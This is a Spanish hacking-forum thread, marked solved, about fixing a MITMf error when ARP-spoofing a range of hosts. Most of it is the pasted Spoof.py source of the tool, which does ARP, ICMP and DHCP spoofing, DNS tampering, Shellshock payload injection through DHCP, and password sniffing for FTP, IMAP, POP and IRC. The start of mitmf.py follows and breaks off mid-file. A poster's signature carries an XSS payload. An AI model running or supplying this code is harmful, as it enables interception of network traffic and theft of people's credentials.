comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Error al hacer un ataque MITM con el framework MITMf

  • 8 Respuestas
  • 3648 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado davidhs

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 2
  • La oscuridad de mi teclado me lleva a la eternidad
    • Ver Perfil
    • Hardsoft Security
« en: Septiembre 22, 2015, 09:16:52 pm »
Hola a todos, mi problema es que a la hora de utilizar el framework MITMf, no me deja ponerme en medio de muchos hosts a la vez, es decir en vez de atacar solo a un host de la red, atacar a varios a la vez o a un rango especifico de ips, a continuación os escribo cual es el comando que utilizo:
Código: Text
  1. mitmf -i eth0 --hsts --spoof --arp --dns --gateway 192.168.1.1 --target 192.168.1.20-40
A continuación el error que me arroja el comando:
Código: Text
  1. [*] MITMf v0.9 started... initializing plugins and modules
  2. [*] ARP Spoofing enabled
  3. Traceback (most recent call last):
  4.   File "./mitmf.py", line 113, in <module>
  5.     p.initialize(args)
  6.   File "/usr/share/mitmf/plugins/Spoof.py", line 69, in initialize
  7.     pkt = self.build_arp_req()
  8.   File "/usr/share/mitmf/plugins/Spoof.py", line 229, in build_arp_req
  9.     target_mac = getmacbyip(self.target)
  10.   File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
  11.     tmp = map(ord, inet_aton(ip))
  12. socket.error: illegal IP address string passed to inet_aton
  13.  



P.D: Muchisimas gracias de ante mano. No tienes permisos para ver links. Registrate o Entra con tu cuenta
« Última modificación: Septiembre 24, 2015, 03:17:46 pm por Gabriela »
Un mundo construido sobre fantasía. Emociones sintéticas en forma de pastillas. Guerras psicológicas en forma de publicidad. Sustancias químicas que alteran la mente en forma de comida. Lavados de cerebro en forma de medios de comunicación. Agujas aisladas bajo control en forma de redes sociales.

Desconectado Cl0udswX

  • *
  • Colaborador
  • *
  • Mensajes: 868
  • Actividad:
    0%
  • Reputación 4
  • La fisica es el sistema operativo del universo.
    • Ver Perfil
    • cl0udswz - Sequre
  • Skype: cl0udzwx
  • Twitter: @cl0udswzsequre
« Respuesta #1 en: Septiembre 22, 2015, 09:30:00 pm »
El asunto esta en la forma que le pasas el rango de direcciones, prueba:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
python mitmf.py -i eth0 --hsts  --spoof --dns --arp --target  192.168.1.20-40  --gateway 192.168.1.1
Saludos.
« Última modificación: Septiembre 22, 2015, 09:31:47 pm por Cl0udswX »
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


Conectado davidhs

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 2
  • La oscuridad de mi teclado me lleva a la eternidad
    • Ver Perfil
    • Hardsoft Security
« Respuesta #2 en: Septiembre 23, 2015, 07:30:31 am »
Hola Cl0udswX, de ante mano gracias por responder, obtengo el mismo resultado alternando el orden de la puerta de enlace y el rango de ips atacadas:

Comando utilizado nuevamente:
Código: Text
  1. mitmf -i eth0 --hsts  --spoof --dns --arp --target  192.168.1.20-40  --gateway 192.168.1.1

Error arrojado de nuevo:
Código: Text
  1. [*] MITMf v0.9 started... initializing plugins and modules
  2. [*] ARP Spoofing enabled
  3. Traceback (most recent call last):
  4.   File "./mitmf.py", line 113, in <module>
  5.     p.initialize(args)
  6.   File "/usr/share/mitmf/plugins/Spoof.py", line 69, in initialize
  7.     pkt = self.build_arp_req()
  8.   File "/usr/share/mitmf/plugins/Spoof.py", line 229, in build_arp_req
  9.     target_mac = getmacbyip(self.target)
  10.   File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
  11.     tmp = map(ord, inet_aton(ip))
  12. socket.error: illegal IP address string passed to inet_aton

El sistema operativo con el cual estoy utilizando este framework, es Kali Linux 2.0, la manera en la que instale este framework, fue con:
Código: Text
  1. apt-get install mitmf

P.D: Si alguien me ayudase a resolver este problema, o a buscar una alternativa a este framework se lo agradeceriía, gracias de ante mano a la comunidad. Saludos davidhs.
Un mundo construido sobre fantasía. Emociones sintéticas en forma de pastillas. Guerras psicológicas en forma de publicidad. Sustancias químicas que alteran la mente en forma de comida. Lavados de cerebro en forma de medios de comunicación. Agujas aisladas bajo control en forma de redes sociales.

Desconectado Jimeno

  • *
  • Underc0der
  • Mensajes: 367
  • Actividad:
    0%
  • Reputación -1
  • NULL
    • Ver Perfil
    • Twitter
  • Skype: migueljimeno96
  • Twitter: &quot;&gt;&lt;&lt;img src=y onerror=prompt();&gt;
« Respuesta #3 en: Septiembre 23, 2015, 08:11:59 am »
no pases los rangos con guión, pásalos con una barra, es decir, cambia el x.x.x.1-24 por x.x.x.1/24
Contacto: @migueljimeno96 -

Conectado davidhs

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 2
  • La oscuridad de mi teclado me lleva a la eternidad
    • Ver Perfil
    • Hardsoft Security
« Respuesta #4 en: Septiembre 23, 2015, 08:31:17 am »
Hola Jimeno muchas gracias por responder, me ocurre lo mismo, de ante mano te comunico que según las instrucciones para utilizar este framework, en el parámetro "--target" puedo ponerlo de las siguientes maneras: "--target 192.168.1.110", "--target 192.168.1.110,192.168.1.111", "--target 192.168.1.110-120" y "--target 192.168.1.1/24", sin animo de ofender aquí dejo las instrucciones de esta herramienta: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Comando utilizado:
Código: Text
  1. mitmf -i eth0 --hsts  --spoof --dns --arp --target  192.168.1.1/24  --gateway 192.168.1.1

Error arrojado de nuevo:
Código: Text
  1.     [*] MITMf v0.9 started... initializing plugins and modules
  2.     [*] ARP Spoofing enabled
  3.     Traceback (most recent call last):
  4.       File "./mitmf.py", line 113, in <module>
  5.         p.initialize(args)
  6.       File "/usr/share/mitmf/plugins/Spoof.py", line 69, in initialize
  7.         pkt = self.build_arp_req()
  8.       File "/usr/share/mitmf/plugins/Spoof.py", line 229, in build_arp_req
  9.         target_mac = getmacbyip(self.target)
  10.       File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
  11.         tmp = map(ord, inet_aton(ip))
  12.     socket.error: illegal IP address string passed to inet_aton

P.D: Gracias por responder a todos, pero deduzco que el problema no es el comando, si no la falta de algún archivo o ejecución del script en cuestión.
Un mundo construido sobre fantasía. Emociones sintéticas en forma de pastillas. Guerras psicológicas en forma de publicidad. Sustancias químicas que alteran la mente en forma de comida. Lavados de cerebro en forma de medios de comunicación. Agujas aisladas bajo control en forma de redes sociales.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Septiembre 23, 2015, 11:50:49 am »
El problema es claro: la función inet_aton del módulo socket está recibiendo una IP ilegal. Por lo visto, recibe de forma directa el valor del parámetro target. Para resolverlo, simplemente tenés que mirar los archivos mitmf.py y spoof.py, y ver porqué no se está obteniendo el rango de IPs como corresponde.

Por si no me expliqué bien, el problema está en que el método inet_atom (empleado en l2.py de scapy) está recibiendo una IP ilegal (por lo visto, recibe directamente el rango de IPs). El siguiente código genera el mismo error:

Código: Python
  1. import socket
  2.  
  3. ip = raw_input(" [*] Target: ")
  4.  
  5. try:
  6.     socket.inet_aton(ip)
  7. except socket.error as e:
  8.     print e

Si ponés una IP inválida (por ejemplo, 192.168.0.0/24 o 192.168.0.0-255), python arrojará un error. En tu caso, tal como vemos en el traceback, el error surge en el archivo l2.py de scapy pero, en realidad, el problema está los archivos de mitmf (mitmf.py o Spoof.py). Tenés que revisarlos y ver porqué scapy está recibiendo IPs ilegales.

Mirá bien eso y nos comentás.

Saludos!
WhiZ


Conectado davidhs

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 2
  • La oscuridad de mi teclado me lleva a la eternidad
    • Ver Perfil
    • Hardsoft Security
« Respuesta #6 en: Septiembre 23, 2015, 06:00:57 pm »
Hola WhiZ, no me ha quedado muy claro lo que me has querido decir, ya que no tengo muchos conocimientos ni de programación y ni de phyton, pero me ayudaría mucho si le echases un vistazo a los archivos, aquí te los adjunto:

"Spoof.py":
Código: Python
  1. #
  2. # DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof
  3. #
  4. # CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py
  5. #
  6.  
  7. from twisted.internet import reactor
  8. from twisted.internet.interfaces import IReadDescriptor
  9. from plugins.plugin import Plugin
  10. from time import sleep
  11. import dns.resolver
  12. import nfqueue
  13. import logging
  14. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  #Gets rid of IPV6 Error when importing scapy
  15. from scapy.all import *
  16. import os
  17. import sys
  18. import threading
  19. from base64 import b64decode
  20. from urllib import unquote
  21. import binascii
  22. import random
  23.  
  24.  
  25. class Spoof(Plugin):
  26.     name = "Spoof"
  27.     optname = "spoof"
  28.     desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
  29.     has_opts = True
  30.  
  31.     def initialize(self, options):
  32.         '''Called if plugin is enabled, passed the options namespace'''
  33.         self.options = options
  34.         self.interface = options.interface
  35.         self.arp = options.arp
  36.         self.icmp = options.icmp
  37.         self.dns = options.dns
  38.         self.dhcp = options.dhcp
  39.         self.shellshock = options.shellshock
  40.         self.gateway = options.gateway
  41.         #self.summary = options.summary
  42.         self.target = options.target
  43.         self.arpmode = options.arpmode
  44.         self.port = options.listen
  45.         self.hsts = options.hsts
  46.         self.manualiptables = options.manualiptables  #added by alexander.georgiev@daloo.de
  47.         self.debug = False
  48.         self.send = True
  49.  
  50.         if os.geteuid() != 0:
  51.             sys.exit("[-] Spoof plugin requires root privileges")
  52.  
  53.         if self.options.log_level == 'debug':
  54.             self.debug = True
  55.  
  56.         try:
  57.             self.mac = get_if_hwaddr(self.interface)
  58.         except Exception, e:
  59.             sys.exit('[-] Error retrieving interfaces MAC address: %s' % e)
  60.        
  61.         if self.arp:
  62.             if not self.gateway:
  63.                 sys.exit("[-] --arp argument requires --gateway")
  64.  
  65.             self.routermac = getmacbyip(self.gateway)
  66.            
  67.             print "[*] ARP Spoofing enabled"
  68.             if self.arpmode == 'req':
  69.                 pkt = self.build_arp_req()
  70.             elif self.arpmode == 'rep':
  71.                 pkt = self.build_arp_rep()
  72.            
  73.             thread_target = self.send_packets
  74.             thread_args = (pkt, self.interface, self.debug,)
  75.  
  76.         elif self.icmp:
  77.             if not self.gateway:
  78.                 sys.exit("[-] --icmp argument requires --gateway")
  79.  
  80.             self.routermac = getmacbyip(self.gateway)
  81.  
  82.             print "[*] ICMP Redirection enabled"
  83.             pkt = self.build_icmp()
  84.            
  85.             thread_target = self.send_packets
  86.             thread_args = (pkt, self.interface, self.debug,)
  87.  
  88.         elif self.dhcp:
  89.             print "[*] DHCP Spoofing enabled"
  90.             if self.target:
  91.                 sys.exit("[-] --target argument invalid when DCHP spoofing")
  92.  
  93.             self.rand_number = []
  94.             self.dhcp_dic = {}
  95.             self.dhcpcfg = options.configfile['Spoof']['DHCP']
  96.            
  97.             thread_target = self.dhcp_sniff
  98.             thread_args = ()
  99.        
  100.         else:
  101.             sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
  102.  
  103.         print "[*] Spoof plugin online"
  104.         if not self.manualiptables:
  105.             os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
  106.  
  107.         if (self.dns or self.hsts):
  108.             print "[*] DNS Tampering enabled"
  109.            
  110.             if self.dns:
  111.                 self.dnscfg = options.configfile['Spoof']['DNS']
  112.  
  113.             self.hstscfg = options.configfile['SSLstrip+']
  114.  
  115.             if not self.manualiptables:
  116.                 os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
  117.  
  118.             self.start_dns_queue()
  119.  
  120.         file = open('/proc/sys/net/ipv4/ip_forward', 'w')
  121.         file.write('1')
  122.         file.close()
  123.         if not self.manualiptables:
  124.             print '[*] Setting up iptables'
  125.             os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
  126.  
  127.         #CHarvester = CredHarvester()
  128.         t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
  129.         #t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface))
  130.  
  131.         t.setDaemon(True)
  132.         t.start()
  133.  
  134.     def dhcp_rand_ip(self):
  135.         pool = self.dhcpcfg['ip_pool'].split('-')
  136.         trunc_ip = pool[0].split('.'); del(trunc_ip[3])
  137.         max_range = int(pool[1])
  138.         min_range = int(pool[0].split('.')[3])
  139.         number_range = range(min_range, max_range)
  140.         for n in number_range:
  141.             if n in self.rand_number:
  142.                 number_range.remove(n)
  143.         rand_number = random.choice(number_range)
  144.         self.rand_number.append(rand_number)
  145.         rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
  146.  
  147.         return rand_ip
  148.  
  149.     def dhcp_callback(self, resp):
  150.         if resp.haslayer(DHCP):
  151.             xid = resp[BOOTP].xid
  152.             mac_addr = resp[Ether].src
  153.             raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
  154.             if xid in self.dhcp_dic.keys():
  155.                 client_ip = self.dhcp_dic[xid]
  156.             else:
  157.                 client_ip = self.dhcp_rand_ip()
  158.                 self.dhcp_dic[xid] = client_ip
  159.  
  160.             if resp[DHCP].options[0][1] == 1:
  161.                 logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
  162.                 logging.info("Sending DHCP OFFER")
  163.                 packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
  164.                 IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
  165.                 UDP(sport=67, dport=68) /
  166.                 BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
  167.                 DHCP(options=[("message-type", "offer"),
  168.                     ('server_id', get_if_addr(self.interface)),
  169.                     ('subnet_mask', self.dhcpcfg['subnet']),
  170.                     ('router', get_if_addr(self.interface)),
  171.                     ('lease_time', 172800),
  172.                     ('renewal_time', 86400),
  173.                     ('rebinding_time', 138240),
  174.                     "end"]))
  175.  
  176.                 try:
  177.                     packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
  178.                 except KeyError:
  179.                     pass
  180.  
  181.                 sendp(packet, iface=self.interface, verbose=self.debug)
  182.  
  183.             if resp[DHCP].options[0][1] == 3:
  184.                 logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
  185.                 packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
  186.                 IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
  187.                 UDP(sport=67, dport=68) /
  188.                 BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
  189.                 DHCP(options=[("message-type", "ack"),
  190.                     ('server_id', get_if_addr(self.interface)),
  191.                     ('subnet_mask', self.dhcpcfg['subnet']),
  192.                     ('router', get_if_addr(self.interface)),
  193.                     ('lease_time', 172800),
  194.                     ('renewal_time', 86400),
  195.                     ('rebinding_time', 138240)]))
  196.  
  197.                 try:
  198.                     packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
  199.                 except KeyError:
  200.                     pass
  201.  
  202.                 if self.shellshock:
  203.                     logging.info("Sending DHCP ACK with shellshock payload")
  204.                     packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
  205.                     packet[DHCP].options.append("end")
  206.                 else:
  207.                     logging.info("Sending DHCP ACK")
  208.                     packet[DHCP].options.append("end")
  209.  
  210.                 sendp(packet, iface=self.interface, verbose=self.debug)
  211.  
  212.     def dhcp_sniff(self):
  213.         sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
  214.  
  215.     def send_packets(self, pkt, interface, debug):
  216.         while self.send:
  217.             sendp(pkt, inter=2, iface=interface, verbose=debug)
  218.  
  219.     def build_icmp(self):
  220.         pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\
  221.               IP(src=self.target, dst=self.gateway)/UDP()
  222.  
  223.         return pkt
  224.  
  225.     def build_arp_req(self):
  226.         if self.target is None:
  227.             pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
  228.         elif self.target:
  229.             target_mac = getmacbyip(self.target)
  230.             if target_mac is None:
  231.                 sys.exit("[-] Error: Could not resolve targets MAC address")
  232.  
  233.             pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
  234.  
  235.         return pkt
  236.  
  237.     def build_arp_rep(self):
  238.         if self.target is None:
  239.             pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
  240.         elif self.target:
  241.             target_mac = getmacbyip(self.target)
  242.             if target_mac is None:
  243.                 sys.exit("[-] Error: Could not resolve targets MAC address")
  244.  
  245.             pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
  246.  
  247.         return pkt
  248.  
  249.     def resolve_domain(self, domain):
  250.         try:
  251.             #logging.info("Resolving -> %s" % domain)
  252.             answer = dns.resolver.query(domain, 'A')
  253.             real_ips = []
  254.             for rdata in answer:
  255.                 real_ips.append(rdata.address)
  256.  
  257.             if len(real_ips) > 0:
  258.                 return real_ips
  259.  
  260.         except Exception:
  261.             logging.debug("Error resolving " + domain)
  262.  
  263.     def nfqueue_callback(self, payload, *kargs):
  264.         data = payload.get_data()
  265.         pkt = IP(data)
  266.         if not pkt.haslayer(DNSQR):
  267.             payload.set_verdict(nfqueue.NF_ACCEPT)
  268.         else:
  269.             #logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
  270.             if self.dns:
  271.                 for k, v in self.dnscfg.items():
  272.                     if k in pkt[DNSQR].qname:
  273.                         self.modify_dns(payload, pkt, v)
  274.  
  275.             elif self.hsts:
  276.                 if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
  277.                     for k,v in self.hstscfg.items():
  278.                         if v == pkt[DNSQR].qname[:-1]:
  279.                             ip = self.resolve_domain(k)
  280.                             if ip:
  281.                                 self.modify_dns(payload, pkt, ip)
  282.  
  283.                     if 'wwww' in pkt[DNSQR].qname:
  284.                         ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
  285.                         if ip:
  286.                             self.modify_dns(payload, pkt, ip)
  287.  
  288.                     if 'web' in pkt[DNSQR].qname:
  289.                         ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
  290.                         if ip:
  291.                             self.modify_dns(payload, pkt, ip)
  292.  
  293.     def modify_dns(self, payload, pkt, ip):
  294.         spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
  295.         UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
  296.         DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
  297.  
  298.         if self.hsts:
  299.             spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
  300.             for i in ip:
  301.                 spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
  302.  
  303.             payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
  304.             logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
  305.  
  306.         if self.dns:
  307.             spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
  308.             logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
  309.  
  310.     def start_dns_queue(self):
  311.         self.q = nfqueue.queue()
  312.         self.q.set_callback(self.nfqueue_callback)
  313.         self.q.fast_open(0, socket.AF_INET)
  314.         self.q.set_queue_maxlen(5000)
  315.         reactor.addReader(self)
  316.         self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
  317.  
  318.     def fileno(self):
  319.         return self.q.get_fd()
  320.  
  321.     def doRead(self):
  322.         self.q.process_pending(100)
  323.  
  324.     def connectionLost(self, reason):
  325.         reactor.removeReader(self)
  326.  
  327.     def logPrefix(self):
  328.         return 'queue'
  329.  
  330.     def add_options(self, options):
  331.         group = options.add_mutually_exclusive_group(required=False)
  332.         group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
  333.         group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
  334.         group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
  335.         options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
  336.         options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
  337.         options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
  338.         options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
  339.         options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
  340.         options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
  341.         #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
  342.  
  343.     def finish(self):
  344.         self.send = False
  345.         sleep(3)
  346.         file = open('/proc/sys/net/ipv4/ip_forward', 'w')
  347.         file.write('0')
  348.         file.close()
  349.         if not self.manualiptables:
  350.             print '\n[*] Flushing iptables'
  351.             os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
  352.  
  353.         if (self.dns or self.hsts):
  354.             try:
  355.                 self.q.unbind(socket.AF_INET)
  356.                 self.q.close()
  357.             except:
  358.                 pass
  359.  
  360.         if self.arp:
  361.             print '[*] Re-arping network'
  362.             pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
  363.             sendp(pkt, inter=1, count=5, iface=self.interface)
  364.  
  365. class CredHarvester():
  366.  
  367.     fragged = 0
  368.     imapauth = 0
  369.     popauth = 0
  370.     ftpuser = None # Necessary since user and pass come in separate packets
  371.     ircnick = None # Necessary since user and pass come in separate packets
  372.     # For concatenating fragmented packets
  373.     prev_pkt = {6667:{}, # IRC
  374.                 143:{},  # IMAP
  375.                 110:{},  # POP3
  376.                 26:{},   # SMTP
  377.                 25:{},   # SMTP
  378.                 21:{}}   # FTP
  379.  
  380.     def start(self, interface):
  381.         sniff(prn=self.pkt_sorter, iface=interface)
  382.  
  383.     def pkt_sorter(self, pkt):
  384.         if pkt.haslayer(Raw) and pkt.haslayer(TCP):
  385.             self.dest    = pkt[IP].dst
  386.             self.src     = pkt[IP].src
  387.             self.dport   = pkt[TCP].dport
  388.             self.sport   = pkt[TCP].sport
  389.             self.ack     = pkt[TCP].ack
  390.             self.seq     = pkt[TCP].seq
  391.             self.load    = str(pkt[Raw].load)
  392.  
  393.             if self.dport == 6667:
  394.                 """ IRC """
  395.                 port = 6667
  396.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  397.                 return self.irc(port)
  398.  
  399.             elif self.dport == 21 or self.sport == 21:
  400.                 """ FTP """
  401.                 port = 21
  402.                 self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse
  403.                 self.ftp(port)
  404.  
  405.             elif self.sport == 110 or self.dport == 110:
  406.                 """ POP3 """
  407.                 port = 110
  408.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  409.                 self.mail_pw(port)
  410.  
  411.             elif self.sport == 143 or self.dport == 143:
  412.                 """ IMAP """
  413.                 port = 143
  414.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  415.                 self.mail_pw(port)
  416.  
  417.     def headers_body(self, protocol):
  418.         try:
  419.             h, b = protocol.split("\r\n\r\n", 1)
  420.             return h, b
  421.         except Exception:
  422.             h, b = protocol, ''
  423.             return h, b
  424.  
  425.     def frag_joiner(self, port):
  426.         self.fragged = 0
  427.         if len(self.prev_pkt[port]) > 0:
  428.             if self.ack in self.prev_pkt[port]:
  429.                 self.fragged = 1
  430.                 return {self.ack:self.prev_pkt[port][self.ack]+self.load}
  431.         return {self.ack:self.load}
  432.  
  433.     def hb_parse(self, port):
  434.         self.prev_pkt[port] = self.frag_joiner(port)
  435.         self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack])
  436.         return self.headers.split('\r\n')
  437.  
  438.     def mail_pw(self, port):
  439.         load = self.load.strip('\r\n')
  440.  
  441.         if self.dport == 143:
  442.             auth_find = 'authenticate plain'
  443.             proto = 'IMAP'
  444.             auth = self.imapauth
  445.             self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
  446.  
  447.         elif self.dport == 110:
  448.             auth_find = 'AUTH PLAIN'
  449.             proto = 'POP'
  450.             auth = self.popauth
  451.             self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
  452.  
  453.     def mail_pw_auth(self, load, auth_find, proto, auth, port):
  454.         if auth == 1:
  455.             user, pw = load, 0
  456.             logging.warning('[%s] %s auth: %s' % (self.src, proto, load))
  457.             self.b64decode(load, port)
  458.             return 0
  459.  
  460.         elif auth_find in load:
  461.             return 1
  462.  
  463.     def b64decode(self, load, port):
  464.         b64str = load
  465.         try:
  466.             decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning
  467.         except Exception:
  468.             decoded = ''
  469.         # Test to see if decode worked
  470.         if '@' in decoded:
  471.             logging.debug('%s Decoded: %s' % (self.src, decoded))
  472.             decoded = decoded.split()
  473.  
  474.     def ftp(self, port):
  475.         """Catch FTP usernames, passwords, and servers"""
  476.         load = self.load.replace('\r\n', '')
  477.  
  478.         if port == self.dport:
  479.             if 'USER ' in load:
  480.                     user = load.strip('USER ')
  481.                     logging.warning('[%s > %s] FTP user:    ' % (self.src, self.dest), user)
  482.                     self.ftpuser = user
  483.  
  484.             elif 'PASS ' in load:
  485.                     pw = load.strip('PASS ')
  486.                     logging.warning('[%s > %s] FTP password:' % (self.src, self.dest), pw)
  487.  
  488.     def irc(self, port):
  489.         load = self.load.split('\r\n')[0]
  490.  
  491.         if 'NICK ' in load:
  492.             self.ircnick = load.strip('NICK ')
  493.             logging.warning('[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick))
  494.  
  495.         elif 'NS IDENTIFY ' in load:
  496.             ircpass = load.strip('NS IDENTIFY ')
  497.             logging.warning('[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass))
  498.  

"mitmf.py":
Código: Python
  1. #!/usr/bin/env python2.7
  2.  
  3. # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
  4. #
  5. # This program is free software; you can redistribute it and/or
  6. # modify it under the terms of the GNU General Public License as
  7. # published by the Free Software Foundation; either version 3 of the
  8. # License, or (at your option) any later version.
  9. #
  10. # This program is distributed in the hope that it will be useful, but
  11. # WITHOUT ANY WARRANTY; without even the implied warranty of
  12. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  13. # General Public License for more details.
  14. #
  15. # You should have received a copy of the GNU General Public License
  16. # along with this program; if not, write to the Free Software
  17. # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
  18. # USA
  19. #
  20.  
  21. import logging
  22. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
  23. logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
  24.  
  25. import argparse
  26. import sys
  27. import os
  28. import threading
  29. import core.responder.settings as settings
  30.  
  31. from argparse import RawTextHelpFormatter
  32. from twisted.web import http
  33. from twisted.internet import reactor
  34. from core.logger import logger
  35. from core.banners import get_banner
  36. from plugins import *
  37.  
  38. print get_banner()
  39.  
  40. mitmf_version = '0.9.8'
  41. mitmf_codename = 'The Dark Side'
  42.  
  43. if os.geteuid() != 0:
  44.     sys.exit("[-] The derp is strong with this one")
  45.  
  46. parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
  47.                                  version="{} - '{}'".format(mitmf_version, mitmf_codename),
  48.                                  usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
  49.                                  epilog="Use wisely, young Padawan.",
  50.                                  formatter_class=RawTextHelpFormatter)
  51.  
  52. #add MITMf options
  53. sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
  54. sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
  55. sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
  56. sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
  57. sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
  58. sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit')
  59. sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
